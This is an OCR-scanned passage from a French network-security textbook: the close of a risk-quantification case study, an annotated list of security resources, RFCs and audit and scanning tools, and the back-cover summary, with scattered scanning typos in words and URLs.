Figure 17.27 
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Une fois calculees les probabilites des impacts reseau, il suffit de quantifier les conse- 
quences associees pour calculer le risque de non-application de la politique de securite. 
Ce risque est calcule comme une esperance mathematique en multipliant les probabilites 
par les consequences associees aux impacts reseau, comme illustre a la figure 17.28 (les 
resultats correspondent a l'exemple detaille precedemment). 



En resume 



Quelle que soit l'entreprise, l'analyse initiale des besoins de securite et la definition 
d'une politique de securite reseau sont les etapes capitales qui precedent la mise en place 
d' architectures techniques et de solutions de securite. 
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Figure 17.28 
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Toute architecture ou solution de securite a ses forces et ses faiblesses, qu'il faut connai- 
tre et surveiller. En cas d' incident de securite, une alerte du niveau de securite approprie 
doit etre declenchee. 

Des controles periodiques et en profondeur doivent etre menes afin de verifier 1' applica- 
tion de la politique de securite reseau. Dans ce contexte, des tableaux de bord de securite 
peuvent etre dermis, suivis et reactualises regulierement afin de tenir compte de toute 
evolution des architectures et des mecanismes de securite. 

Au travers de cette etude de cas, les principes presentes dans 1' ensemble de l'ouvrage, 
sans lesquels aucune strategic de securite ne saurait reussir, ont ete methodiquement 
appliques : definition des besoins de securite de l'entreprise, definition d'une politique de 
securite reseau, mise en oeuvre des solutions techniques adaptees, mise en place d'un 
controle de securite et etablissement d'un tableau de bord de la securite afin de verifier 
que la politique de securite definie est appliquee. 
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Le journal de securite MISC contient de nombreux articles couvrant tous les domaines de 
la securite (loi, reseau, application, etc.) : 

http://www. miscmag. com/ 

Les Techniques de Vingenieur regroupent un ensemble de traites couvrant tous les 
domaines des sciences de l'ingenieur tels que les telecommunications : 

http://www. techniques-ingenieur. fr/ 

Quelques formations de securite 

Le mastere securite de l'ESIEA : 

http://www. esiea. fr/ 

Le mastere securite de l'ENST : 

http://www. enst. fr/ 
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Autres references 

Acteurs de I'insecurite 

Page personnelle de M. E. Kabay, PhD, CISSP, Associate Professor of Information 
Assurance, Program Director, Master of Science in Information Assurance, Department 
of Computer Information Systems, Norwich University, Northfield VT : 

http://www2. norwich. edu/mkabay/ 

Configuration des routeurs 

Pour la configuration d'un equipement reseau Cisco et celle de sa securite, la NSA 
(National Security Agency) a publie le document "Cisco Router Security Recommenda- 
tion Guides " et autres : 

http://www. nsa.gov/snac/ 

Pour la configuration de son reseau et de sa securite, Cisco a publie le document "IOS 
Features that an ISP Should Consider" : 

ftp-eng. cisco. com/cons/isp/essentials/ 

Pour la configuration de son reseau et de sa securite, Juniper a publie de nombreux 
documents : 

http://www. juniper, net 

Un exemple de configuration securise, plutot destine aux fournisseurs d'acces Internet, 
de Rob Thomas, Secure IOS and Juniper Template : 

http://www. cymru. com/Documents/secure-ios-template. html 

http://www. cymru. com/gillsr/documents/junos-template.pdf 

NCAT (Network Config Audit Tool) et RAT (Router Audit Tool) sont deux outils qui 
permettent de valider la configuration des equipements par rapport a un modele. Un 
fichier contenant les regies basees sur les documents de la NSA, de Rob Thomas et de 
Cisco (voir ci-dessous) est egalement livre : 

http'J/ncat. sourceforge. net 

RANCID (Really Awesome New Cisco config Differ) utilise CVS (http:// 
www.cvshome.org/) et permet de stocker de maniere centralisee les configurations logi- 
cielles et materielles des equipements ainsi que d' automatiser certaines taches 
administratives : 

http://www. shrubbery, net/rancid 

Cryptographie 

Ce livre contient les descriptions des principaux algorithmes cryptographiques utilises de 
nos jours : 
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B. Schneier, Cryptographic appliquee - Algorithmes, protocoles et codes source en C, 
2 e edition, International Thomson Publishing France, 1997 

Site de RSA Laboratories, contenant des questions-reponses tres detaillees sur le chiffre- 
ment RSA : 

http://www. rsasecurity. com/rsalabs 

Site de Certicom, contenant des questions-reponses tres detaillees sur les courbes 
elliptiques : 

http://www. certicom. com 

Description de 1'algorithme de chiffrement AES : 

D. and V. Rumen, "Rijndael, The Advanced Encryption Standard", Dr. Dobb's Journal, 
vol. 26, n° 3, mars 2001, pp. 137-139 : 

http://www. esat. kuleuven. ac. be/~rijmen/rijndael/ 

Recentes RFC (IETF) relatives a IPsec : 

RFC 4303, IP Encapsulating Security Payload (ESP), S. Kent, December 2005, Obsole- 
tes RFC 2406, PROPOSED STANDARD 

RFC 4302, IP Authentication Header, S. Kent, December 2005, Obsoletes RFC 2402, 
PROPOSED STANDARD 

RFC 4306, Internet Key Exchange (IKEv2) Protocol, C. Kaufman, December 
2005, Obsoletes RFC 2407, RFC 2408, RFC 2409, PROPOSED STANDARD 

http://www. ietf. org 

Journaux d'activite (logs) 

LogCheck analyse et detecte les attaques sur les logs pouvant provenir de differents equi- 
pements (routeur, systeme, etc.) : 

http://logcheck. org/ 

Swatch et Logwatch analysent les logs a l'aide de regies puissantes de pattern-matching : 

http://swatch. sourceforge. net/ 
http://www2. logwatch. org/ 

Outils d 'audit 

NCAT (Network Config Audit Tool) et RAT (Router Audit Tool) sont deux outils qui 
permettent de valider la configuration de vos equipements par rapport a un modele : 

http://ncat. sourceforge. net 

Tripwire assure l'integrite des donnees d'un systeme : 

http://www. tripwire, com 
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Crack permet de trouver les mots de passe a partir des mots de passe chiffres UNIX 
MD5 : 

ftp://coast. cs.purdue. edu 

John the Ripper permet de trouver les mots de passe a partir des mots de passe chiffres 
UNIX MD5 : 

http://www. net-security, org 

COPS (Computer Oracle and Password System) permet de verifier la configuration d'un 
systeme UNIX : 

ftp://coast. cs.purdue. edu 

SSS (System Scanner Security) permet de verifier la configuration d'un systeme UNIX, 
Windows, etc. : 

http://www.iss.net 

SAINT (Security Administrator's Integrated Network Tool) analyse la configuration d'un 
systeme en recuperant toutes les informations possibles au travers des services reseau 
(Finger, NFS, FTP, TFTP, STATD, etc.) : 

http://www. saintcorporation. com/products/saint_engine. html 

SATAN (Security Administrator Tool for Analyzing Networks) permet de verifier la 
configuration d'un systeme UNIX : 

ftp://ftp.porcupine. org 

Outils de scanning et d'attaque 

HPing permet de dresser la liste des ports ouverts sur un reseau donne. II se fonde sur le 
parametre TTL (Time To Live) du protocole IP pour mener a bien ses decouvertes de 
reseau et services : 

http://www. hping. org/ 

Ping s'appuie sur le protocole ICMP (Internet Control Message Protocol) pour determi- 
ner si un systeme ayant une adresse IP repond et lancer des recherches sur les classes 
d'adresse IP : 

htXp'J/www. fping. com/ 

Phonesweep est un programme de decouverte de reseau telephonique permettant de 
detecter modems, PABX, etc. : 

http:/ www.sandstorm.net 

Firewalk permet de dresser la liste des ports ouverts pour des equipements sur un reseau 
donne en s'appuyant sur le parametre TTL (Time To Live) du protocole IP pour mener a 
bien ses decouvertes de reseau et services : 

http://www.packetfactory. net 
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SSH 



Fremont est un programme de decouverte de reseau, de serveurs, de topologie du 
reseau, etc. : 

ftp://ftp.cerias.purdue.edu/pub/tools/unix/netutils/fremont 

ISS est un programme d' audit et de test de vulnerabilites : 

http://www.iss.net 

Retina est un programme d' audit et de test de vulnerabilites : 

http://www. eeye. com 

Cybercop est un programme d' audit et de test de vulnerabilites : 

http://www. nai. com 

Nessus est un programme de decouverte de reseau, de services reseau et d'attaques, qui 
offre une imposante bibliotheque d'attaques et de tests et permet de developper ses 
propres tests au travers d'un macrolangage : 

http://www. nessus. org 

Rmap est une implementation de Nmap pour une utilisation en mode distribue : 

http://sourceforge. net 



Site regroupant l'ensemble des informations relatives au projet SSH sur le systeme 
d' exploitation OpenBSD : 

http://www. openssh. com 

Ce site offre des logiciels gratuits de gestion de session SSH, incluant SCP, SFTP, etc. : 

http://www. freessh. org 

Mesures de la securite des systemes d'information 

Void quelques references sur les metriques de securite : 

IT Security metrics : 

http://www. nist.gov 

Institute for security and open methodologies : 

http'J/www. isecom. org/ security metrics, shtml 

Les metriques de securite : 

http://www. clusif. asso. fr 

Methodologie et moderations pour la securite : 

http'J/www. infres. enst. fr/~ilr/recherche/MMS.php 
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Politique de securite 

NIST (National Institute of Standards and Technology) regroupe un ensemble de docu- 
ments relatifs a la securite du systeme d' information : 

http://csrc.nist.gov 

Ce site du service central de la securite des systemes d' information, directement rattache 
au Premier ministre, contient de nombreux documents et recommandations : 

http://www. ssi.gouv. fr 

Ce site du Club de la securite des systemes d' information fran^ais regroupant les grandes 
entreprises franchises fournit de nombreuses documentations et organise des rencontres a 
theme pour les adherents : 

http://www. clusif. asso. fr 

Le site du CERT, specialise dans la reponse aux incidents de securite, contient un ensem- 
ble de documents relatifs a la securite des systemes d' information : 

http://www. cert, org 

Reseau 

Ces RFC de 1'IETF decrivent le protocole MPLS : 

RFC 2547, BGP/MPLS VPNs, E.Rosen, Y. Rekhter, March 1999, INFORMA- 
TIONAL 

RFC 2917, A Core MPLS IP VPN Architecture, K. Muthukrishnan, A. Malis, 
September 2000, INFORMATIONAL 

RFC 3031, Multiprotocol Label Switching Architecture, E. Rosen, A. Viswanathan, 
R. Callon, January 2001, Errata PROPOSED STANDARD 

RFC 4257, Framework for Generalized Multi-Protocol Label Switching (GMPLS)- 
based Control of Synchronous Digital Hierarchy/Synchronous Optical Networking 
(SDH/SONET) Networks, G. Bernstein, E. Mannie, V Sharma, E. Gray, December 
2005, INFORMATIONAL 

Ces RFC de 1'IETF decrivent le protocole BGP : 

RFC 427 1 , A Border Gateway Protocol 4 (BGP-4), Y. Rekhter, ed., T. Li, ed., S. Hares, 
ed., January 2006, Obsoletes RFC 1771 DRAFT STANDARD 

RFC 4272, BGP Security Vulnerabilities Analysis, S. Murphy, January 2006, INFOR- 
MATIONAL 

RFC 4278, Standards Maturity Variance Regarding the TCP MD5 Signature Option 
(RFC 2385) and the BGP-4 Specification, S. Bellovin, A. Zinin, January 2006, 
INFORMATIONAL 

Ces RFC de 1'IETF decrivent le protocole ISIS : 
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RFC 0995, End System to Intermediate System Routing Exchange Protocol for use in 
conjunction with ISO 8473 International Organization for Standardization, Apr-01- 
1986, UNKNOWN 

RFC 3567, Intermediate System to Intermediate System (IS-IS) Cryptographic 
Authentication, T. Li, R. Atkinson, July 2003, INFORMATIONAL 

RFC 3784, Intermediate System to Intermediate System (IS-IS) Extensions for Traffic 
Engineering (TE), H. Smit, T. Li June 2004, Updated by RFC 4205 INFORMA- 
TIONAL 

Ces RFC de 1'IETF decrivent le protocole Multicast : 

RFC 1301, Multicast Transport Protocol S.Armstrong, A. Freier, K. Marzullo, 
February 1992, INFORMATIONAL 

RFC 3353, Overview of IP Multicast in a Multi-Protocol Label Switching (MPLS) 
Environment, D. Ooms, B. Sales, W. Livens, A. Acharya, F. Griff oul, F. Ansari, 
August 2002, INFORMATIONAL 

RFC 3446, Anycast Rendevous Point (RP) mechanism using Protocol Independent 
Multicast (PIM) and Multicast Source Discovery Protocol (MSDP), D. Kim, 
D. Meyer, H. Kilmer, D. Farinacci, January 2003, INFORMATIONAL 

RFC 3913, Border Gateway Multicast Protocol (BGMP): Protocol Specification 
D. Thaler, September 2004, INFORMATIONAL 

Ces RFC de 1'IETF decrivent le protocole DNS : 

RFC 1591, Domain Name System Structure and Delegation, J. Postel March 1994, 
INFORMATIONAL 

RFC 3467, Role of the Domain Name System (DNS), J. Klensin February 2003, 
INFORMATIONAL 

RFC 3645, Generic Security Service Algorithm for Secret Key Transaction Authenti- 
cation for DNS (GSS-TSIG), S. Kwan, P. Garg, J. Gilroy, L. Esibov, J. Westhead, 
R. Hall October 2003, Updates RFC2845 PROPOSED STANDARD 

RFC 3833, Threat Analysis of the Domain Name System (DNS), D. Atkins, 
R. Austein, August 2004, INFORMATIONAL 

Ces RFC de 1'IETF decrivent le protocole NTP : 

RFC 0958, Network Time Protocol (NTP), D. L. Mills, Sep-01-1985, Obsoleted by 
RFC 1059, RFC 1119, RFC 1305 UNKNOWN 

RFC 1305, Network Time Protocol (Version 3) Specification, Implementation and 
Analysis, D. Mills, March 1992, Obsoletes RFC 958, RFC 1059, RFC 1119 DRAFT 
STANDARD 

RFC 2030, Simple Network Time Protocol (SNTP) Version 4 for IPv4, IPv6 and OSI, 
D. Mills, October 1996, Obsoletes RFC 1769, Errata INFORMATIONAL 
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Ces RFC de 1'IETF decrivent le protocole SNMP : 

RFC 1157, STDOO 15 Simple Network Management Protocol (SNMP), J. D. Case, 
M. Fedor, M. L. Schoffstall, J. Davin, May-01-1990, Obsoletes RFC 1098 
HISTORIC 

RFC 1441, Introduction to version 2 of the Internet- standard Network Management 
Framework, J. Case, K. McCloghrie, M. Rose, S. Waldbusser, April 1993, HISTORIC 

RFC 1446, Security Protocols for version 2 of the Simple Network Management 
Protocol (SNMPv2), J. Galvin, K. McCloghrie, April 1993, HISTORIC 

RFC 3826, The Advanced Encryption Standard (AES) Cipher Algorithm in the SNMP 
User-based Security Model, U. Blumenthal, F. Maino, K. McCloghrie, June 2004, 
PROPOSED STANDARD 

Ce site regroupe 1' ensemble des informations de routage Internet des operateurs de tele- 
communications et fournisseurs : 

http://www. radb. net 

Documentation donnant des recommandations sur la gestion des parametres d'instabilite 
des routes : 

http://www. ripe, net/ripe/docs/ripe-229. html 

Strategies de securite 

ZDNet IT Papers et IT Papers concentrent des articles et documents fournis par differen- 
tes societes (Dell, Microsoft, etc.) mais egalement par des professionnels : 

http://whitepapers.zdnet. com/ 

http://www. itpapers. com 

Cerias Hotlist regroupe des articles et documents fournis par la communaute : 

http://www. cerias.purdue. edu/tools_and_resources/hotlist/ 

Tunnels/VPN 

Ce site decrit une solution d'etablissement de tunnels permettant de construire des VPN 
fondes sur le protocole IPsec : 

http://www. freeswan. org/ 

Ce site decrit une solution d'etablissement de tunnels permettant de construire des VPN 
par des tunnels au-dessus de TCP ou UDP : 

http://vtun. sou reef orge. net/ 

Ce site decrit une solution d'etablissement de tunnels permettant de construire des VPN 
par des tunnels au-dessus de UDP : 

http://sourceforge.net/projects/cipe-linux/ 
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Ce site decrit une solution d'etablissement de tunnels permettant de construire des VPN 
par des tunnels au-dessus de TCP ou de UDP : 

http://www. tine- vpn. org/ 

Vulnerability 

Ce site consolide et valide toutes les vulnerabilites detectees et attribue un identiflant 
unique a chaque vulnerability : 

http://www. eve. mitre, org 

Ce site decrit les derniers bulletins de securite relatifs aux equipements Cisco : 

http://www. cisco. com/en/US/products/products_security_advisories_listing. html 

Ce site contient de nombreuses ressources et des bulletins de securite : 

http://www. security focus, com/ 

Le site du Centre d' expertise de la securite Internet propose de nombreuses ressources et 
des bulletins de securite : 

http://www. cert, org/ 

Centre d' expertise gouvernemental de reponse et de traitement des attaques 
informatiques : 

http://www.certa.ssi.gouv. fr/ 

Ce site offre de nombreuses ressources et des bulletins de securite : 

http://packetstorm. linuxsecurity. com/ 
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Elaborer une politique de securite reseau et mettre en place 
les outils de controle et de pilotage associes 

Destine aux directeurs informatique, aux administrateurs reseau et aux responsables securite, 
cet ouvrage montre comment elaborer une veritable strategie de securite reseau a I'echelle dune 
entreprise. 

Apres avoir repertorie les attaques auxquelles peut etre confronte un reseau d'entreprise, il decrit 
les differences etapes de la mise en place dune politique de securite : analyse des risques 
(description des methodes) et expressions des besoins, definition de la politique de securite 
reseau (recueil de regies], choix et deploiement des solutions techniques (acces reseau, gestion 
reseau, etc.), mise en place de procedures et d'outils de controle. L'ouvrage montre enfin 
comment elaborer des tableaux de bord synthetisant les evenements reseau, les analyses des 
configurations reseau, etc. 

Les outils logiciels proposes gratuitement par les auteurs sur le site des Editions Eyrolles (un 
verificateur universel de configuration reseau base sur des patrons d'expressions regulieres, un 
calculateur de risque reseau base sur une quantification de la probabilite des menaces, des 
vulnerabilites et des impacts...] facilitent la mise en ceuvre de cette demarche, qui est illustree 
par une etude de cas detaillee. 



Au sommaire 

Les attaques • Faiblesses des protocols reseaux • Faiblesses d'authentification • Faiblesses 
d'implementation et bogues des systemes d'exploitation • Faiblesses de configuration • Attaques 
par virus • Attaques par relais • Grandes tendances • Conduire une politique de securite reseau • 

Analyse des risques et expression des besoins • Definition de guides et de regies • Methodologie 
pour I'elaboration de la strategie de securite • Exemples de strategies de securite • Techniques de 
parades • Controle des connexions (pare-feu...] • Confidentialite des connexions (cryptographie, 
protocoles IPsec, SSL, SSH..J • Authentification des acces distants (mots de passe, paires de 
cles publiques/privees, certificats et PKI . . . ] • Controle des acces distants (L2TP, PPTP, TACACS+, 
RADIUS...) • Protection des equipements reseau (Cisco, Juniper) • Protection systeme reseau • 
Gestion de reseau • Techniques de controle de securite • Controle interne : analyse de la configu- 
ration des equipements (analyse des ACL, outil RAT...), analyse de la securite des systemes (outils 
CIS, ESM...) • Controle externe : scanning reseau (outil NMAP), controle par les attaques (outil 
Nessus) • Tableaux de bord : analyse et correlation des evenements reseaux, outils SIM, modeles 
de tableaux de bord • Etude de cas • Mode d'emploi des outils logiciels fournis en libre telechar- 
gement • Politique de securite de la societe RadioVoie a chaque etape de sa croissance : expres- 
sion des besoins, analyse des risques, politique de securite, solutions techniques retenues, controle 
et pilotage. 
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